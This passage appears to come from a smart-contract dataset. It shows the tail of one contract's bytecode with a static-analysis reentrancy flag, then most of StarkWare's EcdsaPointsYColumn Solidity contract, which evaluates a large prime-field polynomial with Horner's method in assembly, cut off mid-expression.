6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb75784516001600160a01b031683529383019391830191600101611c92565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ceb57611ceb611d61565b500190565b600082611d0b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2a57611d2a611d61565b500290565b600082821015611d4157611d41611d61565b500390565b6000600019821415611d5a57611d5a611d61565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a313369d2d3d1913168c377be43b73a68b8838a2a0890f78a079761e1fe7756c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,907 |
0xfC4988f67E3Bd268187789035F361C11E8e9437c
|
/*
Copyright 2019-2022 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.6.12;
contract EcdsaPointsYColumn {
function compute(uint256 x) external pure returns(uint256 result) {
uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001;
assembly {
// Use Horner's method to compute f(x).
// The idea is that
// a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n =
// (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0.
// Consequently we need to do deg(f) horner iterations that consist of:
// 1. Multiply the last result by x
// 2. Add the next coefficient (starting from the highest coefficient)
//
// We slightly diverge from the algorithm above by updating the result only once
// every 7 horner iterations.
// We do this because variable assignment in solidity's functional-style assembly results in
// a swap followed by a pop.
// 7 is the highest batch we can do due to the 16 slots limit in evm.
result :=
add(0xf524ffcb160c3dfcc72d40b12754e2dc26433a37b8207934f489a203628137, mulmod(
add(0x23b940cd5c4f2e13c6df782f88cce6294315a1b406fda6137ed4a330bd80e37, mulmod(
add(0x62e62fafc55013ee6450e33e81f6ba8524e37558ea7df7c06785f3784a3d9a8, mulmod(
add(0x347dfb13aea22cacbef33972ad3017a5a9bab04c296295d5d372bad5e076a80, mulmod(
add(0x6c930134c99ac7200d41939eb29fb4f4e380b3f2a11437dd01d12fd9ebe8909, mulmod(
add(0x49d16d6e3720b63f7d1e74ed7fd8ea759132735c094c112c0e9dd8cc4653820, mulmod(
add(0x23a2994e807cd40717d68f37e1d765f4354a81b12374c82f481f09f9faff31a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4eac8ffa98cdea2259f5c8ad87a797b29c9dccc28996aed0b545c075c17ebe1, mulmod(
add(0x1058ff85f121d7902521abfa5f3f5c953fee83e0f58e069545f2fc0f4eda1ba, mulmod(
add(0x76b4883fd523dff46e4e330a3dd140c3eded71524a67a56a75bd51d01d6b6ca, mulmod(
add(0x5057b804cff6566354ca744df3686abec58eda846cafdc361a7757f58bd336e, mulmod(
add(0x37d720cf4c846de254d76df8b6f92e93b839ee34bf528d059c3112d87080a38, mulmod(
add(0xa401d8071183f0c7b4801d57de9ba6cda7bd67d7941b4507eab5a851a51b09, mulmod(
add(0x603e3a8698c5c3a0b0b40a79ba0fdff25e5971f0ef0d3242ead1d1a413e443b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4b74b468c4ef808ddcc6e582393940111941abece8a285da201171dc50525c7, mulmod(
add(0x761717d47600662a250116e2403b5115f4071de6e26e8dc231840eeb4484ec3, mulmod(
add(0x5a593d928542a100c16f3dc5344734c9ef474609bd7099257675cef0392fab8, mulmod(
add(0x7d2292c8660492e8a1ce3db5c80b743d60cdaac7f438b6feab02f8e2aade260, mulmod(
add(0x480d06bb4222e222e39ab600b8aadf591db4c70bae30fe756b61564eec6c7e, mulmod(
add(0x59fef071cf1eeff5303f28f4fe10b16471a2230766915d70b525d62871f6bc6, mulmod(
add(0x6e7240c4a94fa3e10de72070fd2bf611af5429b7e83d53cfe1a758dee7d2a79, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x247573f2f3fbd5386eac2d26851f9512cd57ad19773b8ca119d20852b9b6538, mulmod(
add(0x739edb8cdd16692deaba7fb1bb03f55dd417891bacb39c7927969551f29cb37, mulmod(
add(0x6e0bed1b41ee1cf8667c2924ebd460772a0cd97d68eaea63c6fa77bf73f9a9e, mulmod(
add(0x3ede75d46d49ceb580d53f8f0553a2e370138eb76ac5e734b39a55b958c847d, mulmod(
add(0x59bd7fe1c9553495b493f875799d79fc86d0c26e794cce09c659c397c5c4778, mulmod(
add(0x47b2a5ef58d331c30cfcd098ee011aaeae87781fd8ce2d7427c6b859229c523, mulmod(
add(0x14ef999212f88ca277747cc57dca607a1e7049232becedf47e98aca47c1d3fe, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38db61aa2a2b03053f5c51b155bc757b0634ce89baace113391369682fc1f74, mulmod(
add(0x43545892bb5a364c0b9acd28e36371bede7fd05e59a9dcd875c44ff68275b2b, mulmod(
add(0x5599e790bd325b322395d63d96cd0bd1494d4648e3d1991d54c23d24a714342, mulmod(
add(0x675532b80f5aaa605219de7fe8650e24fee1c3b0d36cdf4fb605f6215afacee, mulmod(
add(0x278a7c68986adbe634d44c882a1242147e276fee7962d4c69ca4c8747b3e497, mulmod(
add(0x75a0f99a4dec1988f19db3f8b29eeef87836eb0c3d8493913b7502cfedcef28, mulmod(
add(0x2f6efb89f27d2c0a86ec1e6f231b225caf2af9be01aca173a15fa02b11fdf24, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x10f236430f20aafda49d1c3e3759c510fdf0c0c19f89df6d5d71deac88b547b, mulmod(
add(0x7b16c33c4a8ffcecbd83f382469e1d00a340ceab5e7d9c0bd4fd010b83f4310, mulmod(
add(0x6ae3ee97ea5dcfbb7c36cffd89665baf114fae391c0367be688db09861a8ca1, mulmod(
add(0xcb3335374cc2a2350fe53d2389f04952c4d634f489031742dfccca17be2e09, mulmod(
add(0x1030d58878296e14b1c5bcafe7e817ebe4aa1039aa96b9d0dd7fc915b23f42a, mulmod(
add(0x3a663fc27ec3ad56da89d407089bcec0971cebcb3edf0c393112501919643d7, mulmod(
add(0x71b2b6b03e8cc0365ac26c4dbf71e8d426167d79f8bd1af44738890c563062a, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4f63db02e10fbe428a5dda8d9093feef46cc19568a3c8ad2fce7e7519004095, mulmod(
add(0x2bfd1294f111a5a90842d19cffb97481aefbc09ab6c47d7dcf91ba228019c07, mulmod(
add(0xdaee1c7b34ecb34717b7313dc4a299dd1a161447e2e0249426a6fc33a72289, mulmod(
add(0x76323f8567119897f10d58e1552c98f5a62f03a16d3737e20fc2b0a31a3a843, mulmod(
add(0x65d50aa3c1d84a3deee14057eec98656a1296cdcbe32250bfdaa50ffac4c5dc, mulmod(
add(0x253bf2869135f4bda4029cae2819b2f468ae88530f3ea771090b2727814c494, mulmod(
add(0x104b04e96151f5103118c4eb556cd79899148fd6656e73cb62f41b41d65e4d8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4e0a5dd802deed7cb8d06527beb15dad32547bae77141c32473f4c8148912e3, mulmod(
add(0x33ff2d848bf237f536524da818598ae0f2516ebee526b77957448973eefacd3, mulmod(
add(0x5a00feeb391114d7b976654ab16ddf8360f05671b34d4a97da278c0aef34d76, mulmod(
add(0x7e8659c39d7a102a198f0e7c3814060926ec0410330dd1a13dfadeab4e74593, mulmod(
add(0x5ba89e0eb3830039d0f8a9ca00acef15db22374c965b01abc49dee46270a7d, mulmod(
add(0x30a2e8ac9e6605fd722dffb4caca8c06dd4a8968a7bf41a5371cb1a07d11c00, mulmod(
add(0x761a240cd8aa2f135daf0760bfc2c9d5e896e93a45426571cdad9118722e2b0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x1b0fa36439192f135c239918bf47ad14b55ced699f4582d929a60dd227b34ff, mulmod(
add(0x472d99d1a6e1a6aef339eab1af3d53af7a8326e4d0a6bac73c3a159031c3686, mulmod(
add(0x2046e1b4fd4c108e8f832f5bcc4dd46abf0d19ef0237beaec29d6c12fb9832e, mulmod(
add(0xa758a70ba6a0cbcbc65abfeca51359904f790752c3df55d42707253d8dea70, mulmod(
add(0x6eb66d366da57e4ae717307dfc3351579fe857c51aa82b95044473c9ed14377, mulmod(
add(0x59d0d8ca9ecda81081dfcae7580ab3c08a72195438c1556000c0c1dbdc08174, mulmod(
add(0x776459dfedbbdfcef7a31e0f60c6480fc0676b280fdb6290859fe586d6e6106, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x23590dabe53e4ef12cba4a89b4741fcfaa232b7713d89df162031c8a627011e, mulmod(
add(0x339b405bffb6dbb25bc0432e9c726b7f94e18cf1332ec7adfeb613345e935ab, mulmod(
add(0x25c5f348c260177cd57b483694290574a936a4d585ea7cf55d114a8005b17d0, mulmod(
add(0x68a8c6f86a8c1ebaeb6aa72acef7fb5357b40700af043ce66d3dccee116510a, mulmod(
add(0x1ea9bd78c80641dbf20eddd35786028691180ddcf8df7c87552dee1525368ba, mulmod(
add(0x4e42531395d8b35bf28ccc6fab19ea1f63c635e5a3683ac9147306c1640e887, mulmod(
add(0x728dd423dbf134972cbc7c934407424743843dd438e0f229afbcca6ce34d07d, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30b11c32e8aab0c5908651a8d445395de52d5ce6a1efe75f2ad5e2c8c854a30, mulmod(
add(0x44938959c2e944eb6e5c52fc4ee40b34df37905fa348fa109f6875c1aa18000, mulmod(
add(0x655038ca08eba87484bc562e7fd50ce0584363278f9d716e31c650ee6989a2b, mulmod(
add(0x4f81a946bb92416d212e4d54f2be5fa8043be6fa482b417d772bfa90be4e273, mulmod(
add(0x605a244f646a825602891bf9ddffef80525010517b32625759b0bf5a7f2c386, mulmod(
add(0x2e1b2a3c32aebc0be30addd8929c01714783aaf01be8a1d35e830646e8a54f0, mulmod(
add(0x534a4f3cf71c93023e473f12e407558b6c24b712204fd59ddc18c7bcddd571e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3e850e31c0345726c1ace38537dd88a50c85d6819ae98add1bbd62b618f7a1c, mulmod(
add(0xd77a8e8eed7ce4931a6d2a4774c21864e2c9f468d080af9aba6756433a1a8d, mulmod(
add(0x62be425458d26cfedf8ec23961cdfd9f4abeb21f1debbe87bd51469013358fe, mulmod(
add(0x7d7faca17be1da74cf132dda889a05fce6e710af72897a941625ea07caa8b01, mulmod(
add(0x580550e76557c8ff3368e6578a0e3bed0bac53b88fefdde88f00d7089bc175d, mulmod(
add(0x1345876a6ab567477c15bf37cc95b4ec39ac287887b4407593203d76f853334, mulmod(
add(0x4a92733a733f225226a3d7f69297e7ff378b62c8a369e1bbf0accfd7fb0977e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x2833391a62030808228d14437d6f91b31c0038c14988a23742b45e16f9b84b5, mulmod(
add(0xa737d6916aa6a869252d8ff294a55706e95e0844e6b047755704e37d978e09, mulmod(
add(0x2652523cbbec2f84fae1a17397dac1965127650479e1d5ccfc6bfbfcbb67996, mulmod(
add(0x6dcfc3a99563a5ba4368ac4f11f43e830c5b620a7273330e841bedec0bfb5a, mulmod(
add(0x5428ff423f2bbabcb5f54aafa03d99a320b4b255115351f50b229eae5522178, mulmod(
add(0x76640613af9ed1a125624e0c38252bee457ce87badb24fc4f961e55883d9077, mulmod(
add(0x375a5d9b11c83d06a04dc9f1908b8183adc6f04e5b2ceeaa23d3b68c973ee77, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x327319fcc0d34a0d64f5acab00244b43674a60bef754844fb2920c87c90cff0, mulmod(
add(0x573b13b32161c11c9b16eff7cf93fa770a3ef667547a27503e39092aeabf73e, mulmod(
add(0x41776c662b44a36c7075097c14b6010cb321591a4eca2866d58252eaf9471ac, mulmod(
add(0x7f2abefac9e7f8109b0a2d25d0bd297059e45dd66798ac8b299f0a3e442dd2c, mulmod(
add(0x60bdb98c079bd5cef216803b056afce03f6ea41934275c965d6e196240fb953, mulmod(
add(0x1e141c5429a369996563573bf61d7f713cb7d25baadff636ba2756c65a910ee, mulmod(
add(0x284f7815a7eabc1dcf56da511f7d739f1a199f8ffaf3474f645d2fc93327dc, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x70930735d913d54915fba20c97f07cba8f33eb8f4f81fd869699a10e83264cd, mulmod(
add(0x1e3b6498f0daba2fd99c2ac65461c3fa519cb738b53cd6f002e97199fa4161c, mulmod(
add(0x3d8506e792fa9ac86ac9739d3d5bf63cfc13c456a99c8581adf590c8d9b72eb, mulmod(
add(0x5e4b0ecc6a6c15ed16c1c04e96538880785ff9b5bff350f37e83b6fed446f14, mulmod(
add(0x21f5ea8660d290f28b9300e02ed84e110d7338a74503b369ad144a11cf79f63, mulmod(
add(0x7b9cd3b277f00a75a17961d2d8e46e6a1838c8500c569cdcad08bd4e0cbae84, mulmod(
add(0x755f0e4c374e2fa4aa7eda10041e2139a4a7793eea44f415c73ad4fcba1758, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3678de28b6896959edf5c9dc0caec59b02dfbbf54811f87939b32d0523f58bb, mulmod(
add(0x5820792f23a13d58ddef0607950d422598bb1f21888dace88929fbe7d4828c4, mulmod(
add(0x26a4b2a61f40c1ad77737b99cb27d2f3118622be64f0120907e2589d2f25ebf, mulmod(
add(0x4b2222d0aee638c7e5efd8ada791638ac155a01b78f3b532283574653998bb2, mulmod(
add(0x5db8c52b6adb520496f9edd7105c92df67e8605ff4e0cc59992c3eb651ac7a4, mulmod(
add(0x3aa748723229eb8b33354e0901f50ad052b6c1006916790c979133c4442be90, mulmod(
add(0x16a36769ee50227c564bebce3d9cd7c4ca55702a7c7ccf403075f68f05a0c2, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x171f0638dedf0b69655fa9930bcbc91b257e299a6717bd8ea23ef550c8faff5, mulmod(
add(0x29889daac66c404d6491ec3a435d810a2877d885df1a3a193697b79b4af39c4, mulmod(
add(0x229d7fc2a1bcfbe00d5773f8dadd70a2641d8578fa73e66263b3512d3e40491, mulmod(
add(0x73200d12e733294b5cbb8ffe7fb3977088135d0b0e335135f9076d04a653c58, mulmod(
add(0x6d7af6524127a117184a0c12a6ff30d28b14933a4e96bb3b738d2a36db72e84, mulmod(
add(0x7af8995e2ceed8841e34d44365c7ca14f5980a6a5c67b9813fa7bfd74a9c1b1, mulmod(
add(0x3cd13f84bb7ae6eeccc1012837d2f3e017f069e66cf047172bc70371f5aed38, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x658160ea7b654d786dc624b258c691f594e080610c2d41d6ebea0d8e3396849, mulmod(
add(0x56cbe248ebbc2f57ca8b943b219ba245791592f687815293a4499ef598fa9b7, mulmod(
add(0x2a48058c77edcd75dd4323d9bb9eccb854009b1184fd716a8202f8627bb5447, mulmod(
add(0x3444c0f008988c8f600270b365ff926f016e49a54ab35bac4f3b3a42a5879b1, mulmod(
add(0x6d1c3edcf1de16a4e0ad7d8aa099a31fa2cfbf81f6d1a5798bd1ef93ff906af, mulmod(
add(0x7fc7d854c9d0b3bfbf826c384b3521af0f29f975613e8ea6dc14f37d8beb54c, mulmod(
add(0xded0f75cd0a6a5401a954d26880eaf12050ce6458d3254c9dd6354bf66278, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x54ab13ae1984dcc7d38c867a47f4a8cf786079ee07cc94ab5ec1962c21f638b, mulmod(
add(0x688c61ee887c1497ffcef82163f1a81bf7778f2c314ffbd325627bf0b25dc5a, mulmod(
add(0x657060a10db73c4a9b6aa6288dd6164e0b50a4e6efbc2ee599a0cf4fda33b81, mulmod(
add(0x4c05a7abaaf08f21d93b2257d4f4a3ab2b44f4ac44ce0444418c864ca18470b, mulmod(
add(0x19637a12aa8b822c4a3f3551ef6c538043371a12a962de1dc25d67e0a5ee561, mulmod(
add(0x7b74edd15d97b289da4040272cfc573f69a8c9a8b36d05e3e50b598508b7f9d, mulmod(
add(0x6fcc261ded0ba97b4defc7c9bcd32b5dac89e4c08cb55cef98c6b50f5a3a289, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x601a139ed75acbecf557cd6513171385a119087585111c30bbc1b65cd6d30d, mulmod(
add(0x199d80ad30b4b330fc8a063d1e87307993e1d98822a1729488ba8a586045691, mulmod(
add(0x17ab90241b58bd3bd90b8a5c7f30aa9e5afeedbe1c31f21ca86c46c497b573c, mulmod(
add(0x7d92a463e2aec09eb86f4647dc9ec241904135b5eb53ea272e809e58c0a271e, mulmod(
add(0x51d6322f7d582892421e977464b49c4e6e64af2438da9a7f21a061c77712dc, mulmod(
add(0x610bf9b7ea4557d72411ec90fb677f9a2ccb84c76f003954da4e7f439c9a84c, mulmod(
add(0xccee381472bb7dcae008316038c87a44fd9295f730e389eff14e86442c41b8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x79fd6f5f9b042ece36af6b10eae2eef9de9c9dd18752eb66868a0c301015dd9, mulmod(
add(0xf1f93c3d919653f02fba06fcba1ab89497fff53eceff6a7d129887d5a9e3b, mulmod(
add(0x43f51dfe0f1cf290c9a522e2a5e734f79d220be80348438c676295c3d429e, mulmod(
add(0x27e76848780aba5b12061bffefff1710995586618a2f32792d62771d31ed519, mulmod(
add(0x7e176a66dcfd58e240c4546cd760b7e5ad02e4f0265c6a2f38d710bbdf99d55, mulmod(
add(0x2a17a5c34f9f598deb5bec334fde606eaa5601df908eb5825ecf70f9cecec3f, mulmod(
add(0x77b10e23b08892ab18cc6b14dfda6f4be5c2fec94a12e3622622376edd0d6a8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x78aafbe80fa5ee9a846e991bf35b81567a6dcbb1b190e7ee47e53fc66422e84, mulmod(
add(0x69d95f3c7892a1cf65b45c324be2294c4c5459e05e0feaa0b8bb98cd8bc958f, mulmod(
add(0x201019c76d9aa29a00e6b18a4eeac7b1322b44285c57cf4c0b68a87120b1d31, mulmod(
add(0x7238f034b8c57c8b59b0f744ababf9da8229152a051d4f3b3c4995233ac1111, mulmod(
add(0x219557f1604be8622e697e986c03d2a49e40cce558a264bf4f1ebe06493eceb, mulmod(
add(0x329230075f64ffbf631eb0c40b97d71b4dc38a08bd18b638f57e5644680068c, mulmod(
add(0x1958435eb08883bd69b6a56a8f3103c22f8ae206a3d4deaf4a04118b4dd6a6c, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0xb8dd33ef8726747fb368aedf80c2f4a720bc1b5220f4a3f0e56e2fafb7e243, mulmod(
add(0x6eba866251e1dca38a21c8b3fad0aa3c22a45dd89884c4c68bd7ef67de64f52, mulmod(
add(0x90b2b18b3fc2919a55b71ad6d6fa67dda752bd02c985b59e6554f557fe4a2e, mulmod(
add(0x2f47cde744314dc0502faffb0387a2e765e4354b0516ee9ab0b97a1b6c33ec2, mulmod(
add(0x4adaabee9ab3c6ee7fc67a2ddc09c5185755dcc76cc3b814a6b71aa7ae542ea, mulmod(
add(0x1a4bdaf2bff969eff8cef73e762b6346492b8d0f17b2e42956c526f625241ea, mulmod(
add(0x15ba3c5a882d4dfe3e23db18368ade6b2d10ef52e34f12ce0d62e7183c10f7e, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x38e5702bb10256e1856a5bfb03a06b231b89a36e2f84af80bcd2d027153d847, mulmod(
add(0x7f71cb5526600d15d3413ec971ee3b133718224b3cbdc68171a53d7c8684382, mulmod(
add(0x64d672ca00300ddd5e9c9d2db433d7623bb54c8eb2db51b235a07616f1517e5, mulmod(
add(0x84add7269e2e41ea57aaed996f4c012ba7003ea2b994670cc0d554b7a8bd2a, mulmod(
add(0x28b38e0334fc06af4c94ec4f9434923d4149cc51817526597423fd4692c59ad, mulmod(
add(0x6d28879c6f75c4ede18e1b94ffff964d08c79038fd9ba2e7873cbefb5f323db, mulmod(
add(0x1fac2f441d05a3b483675200cb1ebc6f4ca6ecc5ae60118fe8745f95217bf8b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x45b4e74f19b293bc3d3d172a101e344558fcf4ccfe5eecefe31f45a45614df7, mulmod(
add(0xe505592d606917f898c54a7afc45b328be3cd48121aee2e8f05185a3e23e5f, mulmod(
add(0x2a427d70a34b6b5237894f065ef5d60a9872ba444d47d98648b080b8ddb2a68, mulmod(
add(0x40a9cea0394d15ef057c2923d4185f290fe2347e00529d92f927ef506e3b5e7, mulmod(
add(0x31a77aa370bb597dbdd0422612a7dd947aae09a5b0b17d1996f13a85103d150, mulmod(
add(0x68384718bd3bb23f32999f1edcb2dbddd8136259e676c4492d0cafe80ffd856, mulmod(
add(0x1a8d4b2044b8e03b325c353f3f92283013920b92f479064b6e93159d2ed3ba0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x3238aeb8f6bea8bcaaa1bdd5b4f917ccfad8eab031785ccdc648b47d7ea4be8, mulmod(
add(0x399c00b8ebb398248bb1f52528d5241e7366b73c2d89f57a11dc82c530cc57c, mulmod(
add(0x68c5830832f6270a189b074d7675fcbc1d1c5cc06ce9c478bf8f4d5ac1bf40, mulmod(
add(0x4387edee6899d4a85883d2f8524978a4634ff82779f150b7b0c861bb315ed3f, mulmod(
add(0x3159144c85f2c515eb806e5aedd908553057b69c556d226adc6e4511a35423c, mulmod(
add(0x2868a08eae382c069047152ee964ac5ebd242b44267e97e578802440ef764f5, mulmod(
add(0x68486394265c9dc8fae42c8fd39605d3179c981cb44cbe33740a3deb907bc59, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x47d21828025d0cbab84084965a49dd14c7833aac562b55de808a94777df2ea3, mulmod(
add(0x50c92b3e6848a21001be2a268615e1e26cb4918ecb09640efaaf1d8b71568fb, mulmod(
add(0x3c4ad04a5a057e4411487858dbe16af8e3fc065ef7400749ffdc248bdb25bc5, mulmod(
add(0x3924324af1994280f87f289fdae0b9a2d8cb9914ec37d319c18daf029211815, mulmod(
add(0x1cb6e2fba23730f5bf9d8e726569b6e8bf6b5ffe8520339503c5469cc3713a2, mulmod(
add(0x360274f27df6eeec0b7b65fbb227a8214ac3e55cb37b1970e18489ef5b574e1, mulmod(
add(0x357bf5d87c973292381fa4320114551a837a1d6cb6e2bb0eeba534fb2e01742, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x77dee5f03389585fad0d1f2a8accfa4cb985344891b8befaee42f3462cb48a, mulmod(
add(0x5ac4bcdb9c14634ab83c13a30822ddbabc54248cf1177b11cc2aed24d2d32f5, mulmod(
add(0x5dd2e0680c7eff25211f31d3c30a9f454500d6eb09d46d87a75a42b190203cb, mulmod(
add(0x22aa8c5c5ff26f9a0edc768ae32ff4f71a71205b4e83cfa0cc687a1e02566ba, mulmod(
add(0x78f49c214872b5cce18ead0207a165fb741ea818a69cfe9647737323f70f4f5, mulmod(
add(0x2d4acebd804035257147ad8d8419a5f5762b4b543c4846ef9acf41856e672ee, mulmod(
add(0x6207c6a2fd70c19a10430566c9efaad95eab8cbddf308f0057c81f3155a25a0, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x264a535ae10091157ed59b04955dff66897af74cae20456bb830336b803ae47, mulmod(
add(0x160abeb38bc4f22af5fe618c19c77c39903007900722bdbdeaee059f31544c8, mulmod(
add(0x4846d310812d81ffda3731e8289005e2f0e05411e76b1c84332c3ee9e831afb, mulmod(
add(0x2e14e83be58cde3ed5f3fec8ba6462493a4a2f0f7d6c846006220eccd49ef25, mulmod(
add(0x73724274fdd351c378e597da1615dc51058e14994464cb7b318766199ac2a35, mulmod(
add(0x23bf372b0b59abf250463697ef4b2096eb1c9674613918b4d0c79aa10d9fd59, mulmod(
add(0x737dba18eb055a12d842bfae32fd146dcd2d7bb932a2591aa864458d6d652, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x7616cfc6834643d4b95ed1cfec036f816a7c3d3b9800f301f98ddf341712ebf, mulmod(
add(0x318e5a52d685eaa06e0f39159a344b3d97b52688b671d133954aeff0bc17707, mulmod(
add(0x7ff76956e0cd2b490b47a0a0497df5f874cf47f54c45f08101256429b48460, mulmod(
add(0x181ef9cde124459dc0e2aaf93512abd49a10328fb93dfc4d49ab671db64bbc4, mulmod(
add(0x2353c4a418bdc1e461be162140cc69c26eb9d99f08924991f85058f87f6df41, mulmod(
add(0x775d95a0beb287c98663a3f9a9c577ffc67c1fe6fbe2db5b08829a2c3eac922, mulmod(
add(0x316ce6b23e720b8302e2d4bd968c0f140f69930e46a54784a7cee7e0b8a0c8, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x4ce0a14a5a9c30a38062eb8870eeb4ff3562db743c0f3eede2e3d3862a2eb7c, mulmod(
add(0x47f02fc512b153462379f4f793c7cab9e659bfdb07d3439d29039f566b7236d, mulmod(
add(0x6f617dce150ea148cb8c7488fe4caa920b2000bc8122cce1891e4b76cddc9d4, mulmod(
add(0x685af2d7bbf30cd0c5c3d41c430a8657eeafeeb4596165faaa73d802087ad80, mulmod(
add(0x4fb0c93fe30da048576fe5e839483636218dfdda3d05f1d68847a4c0167597f, mulmod(
add(0xb806f4e19770279fab5427b8eaf5bc68bf984d6ccea1e878a7aaf32c9975d9, mulmod(
add(0x59869515fb57ea7733567e5d849bcaa00c00e0f86f4ebbd2c7a6f4c0c77692b, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x175a904681c7a91856bf7fcf8410d2c19eb8705267914489664a1ea2af5b8fe, mulmod(
add(0xc61c74cc988663ee09f4c725d5b1f04549bd342d3550ce17427ac75592b637, mulmod(
add(0x206d7f23d0fe1b1c0967486ebb792d7fdf5b1691d2c2f9306e211d3b849526b, mulmod(
add(0x4255a568f4597862e1dfe0c391b97059d179d7eb4d868f61364835e5028f9dd, mulmod(
add(0x5fcfeb78685abb1ce610e516ab7e2aa210fd90844c8d1c89cd798f3d71bbcb3, mulmod(
add(0x50f5f6adbf0b9abc6e231b855018f4ec806a4f199cc511bed5c423ebef298e4, mulmod(
add(0x7b077d27c7007656025224fa4e528b4c4261f43c3da1e42bd1349403af55cbb, mulmod(
result,
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME)),
x, PRIME))
result :=
add(0x30632b3865a272a1a00270430744ee90b40ff16e1fc44515876ce8e36215ca0, mulmod(
add(0x728771890334d0c9b0f400543bdc13ea6890497bc87c509a04f8014916c13a5, mulmod(
